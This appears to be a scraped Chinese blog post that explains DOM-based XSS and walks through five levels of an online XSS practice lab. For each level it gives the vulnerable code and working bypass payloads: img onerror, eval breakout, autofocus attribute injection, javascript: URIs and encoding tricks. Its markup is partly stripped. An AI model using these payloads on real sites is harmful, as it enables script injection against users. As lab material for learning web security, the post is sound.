书画展示网站模板,群晖 做网站,最近上海大事件,wordpress首页突然丢失xss是什么#xff1f;
XSS是一种经常出现在web应用中的计算机安全漏洞#xff0c;它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制--例如同源策略(same origin policy)。这种类型的漏洞由…xss是什么
XSS是一种经常出现在web应用中的计算机安全漏洞它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制--例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击黑客界共识是:跨站脚本攻击是新型的缓冲区溢出攻击而JavaScript是新型的ShellCode。
什么是基于DOM的XSS
基于DOM的XSSCross-Site Scripting是一种常见的网络安全漏洞它利用了浏览器中的DOM文档对象模型来执行恶意脚本。DOM是浏览器将HTML文档解析为可操作对象的表示方式。
基于DOM的XSS攻击通常发生在客户端攻击者通过注入恶意脚本代码使得浏览器在解析和执行页面时执行这些脚本。这些恶意脚本可以窃取用户的敏感信息、修改页面内容、重定向用户到恶意网站等。
我使用的是一个在线的dom型xss平台
靶场链接Challenges 第一关Ma Spaghet! !-- Challenge --
h2 idspaghet/h2
scriptspaghet.innerHTML (new URL(location).searchParams.get(somebody) || Somebody) Toucha Ma Spaghet!
/script
分析
在script标签里边使用get传参的方式给somebody传一个值如果没有传值默认传SomebodyToucha Ma Spaghet!,然后赋值给spaghet,放在h2标签中这里的spaghet后边加了一个innerHTMl的属性。
(new URL(location).searchParams.get(somebody) || Somebody) Toucha Ma Spaghet! 这里的意思为获取url中的get参数somebody如果有那么就设置h2的值为get参数的值如果没有则设置h2的值为Somebody) Toucha Ma Spaghet!
1当get参数中不存在somebody时h2回显 2当get参数中存在somebody时h2回显 somebody传谁就显示谁那么我们传递给js代码给h2时
?somebodyscriptalert(1)/script 这里我们看似插入进去但是不会执行 当?somebodyscriptalert(1)/script时并没有弹窗正常在h2标签中会执行但是这里不能执行的原因为
spaghet.innerHTML (new URL(location).searchParams.get(somebody) || Somebody) Toucha Ma Spaghet!
h2的id为spaghet我们使用innerHTML将我们get参数传递到h2标签中。
我们去官网查看可以发现https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML
在html 5中指定不执行由 innerHTML 插入的 script/script标签这就是不能弹窗的原因。 所以更换一个标签innerHTML 只过滤了script我们可以写其他的来触发当传递其他的可以触发js的时就不能过滤。
?somebodyimg%20src1%20onerroralert(6666) 与innerHTML 有类似效果的时innerText
真正防止xss的是innerText不是innerHTML innerHTML 只能过滤script/script
第二关Jefff !-- Challenge --
h2 idmaname/h2
scriptlet jeff (new URL(location).searchParams.get(jeff) || JEFFF)let ma eval(ma Ma name ${jeff})setTimeout(_ {maname.innerText ma}, 1000)
/script
分析
我们可以看到给h2传参使用的是innerText所以我们想在maname.innerText ma上面做基本不可能了。我们只能考虑在eval中做。
解决方法1
尝试闭合双引号之后在其中闭合单引号。所以我们需要在传递的变量jeff上做。
jeffasd ;alert(12);//eval(ma Ma name asd ;alert(12);//) --- // 可以将后面多出的双引号注释掉。
传递的值jeffasd ;alert(12);// 时就会弹窗说明这里存在DOM型xss的漏洞 解决方法2
可以使用连接符的方式来做
jeffasd ;-alert(12)- 第三关 Ugandan Knuckles !-- Challenge --
div iduganda/div
scriptlet wey (new URL(location).searchParams.get(wey) || do you know da wey?);wey wey.replace(/[]/g, )uganda.innerHTML input typetext placeholder${wey} classform-control
/script
分析
wey wey.replace(/[]/g, ) ----- 过滤了 和
解决方法
闭合双引号。
weyasd onclickalert(55) 虽然上面可以触发但是需要用户的参与点击输入框与自动触发不符合。所以我们需要使用下面的一个方法。
onfocus
是获取焦点的意思获取焦点以后就可以触发它的动作弹窗。onfocus不可以自动聚焦所以我们还需要一个函数autofocus来自动聚焦这样就不需要用户的参与就可以触发了。
weyasd onfocusalert(55) autofocustrue 这样就可以不需要用户的参与就可以弹窗了。
第四关Ricardo Milos !-- Challenge --
form idricardo methodGETinput namemilos typetext classform-control placeholderTrue valueTrue
/form
scriptricardo.action (new URL(location).searchParams.get(ricardo) || #)setTimeout(_ {ricardo.submit()}, 2000)
/script
分析
这段代码的意思为在2秒后对from表单进行提交提交的位置就是ricardo.action 接收到的路径路径由get参数中的ricardo提供。在action中可以识别js伪协议那么就好办了。
ricardojavascript:alert(55) 第五关Ah Thats Hawt !-- Challenge --
h2 idwill/h2
scriptsmith (new URL(location).searchParams.get(markassbrownlee) || Ah Thats Hawt)smith smith.replace(/[\(\\)\\]/g, )will.innerHTML smith
/script
分析
虽然使用smith.replace进行了过滤但是我们可以使用编码的方式来绕过它的过滤。
解决方法
markassbrownleeimg src1 onerroralert(1)
传递的参数在url中所以如果我们直接将1进行urlcode编码浏览器传递给smith时会自动解码但是在url中要遵守url规则不能直接传递实体编码。
所以我们可以先将1进行实体编码再对实体编码进行urlcode编码。
markassbrownleeimg src1 onerroralert(1)
实体编码
markassbrownleeimg src1 onerroralert#x0028;#x0031;#x0029;
urlcode编码
markassbrownleeimg src1 onerroralert%26%23x0028%3B%26%23x0031%3B%26%23x0029%3B当参数在url中传递过去后会解码漏出实体编码实体编码就可以绕过过滤传递给h2正常执行。
传递参数进去发现此时就可以进行弹窗了。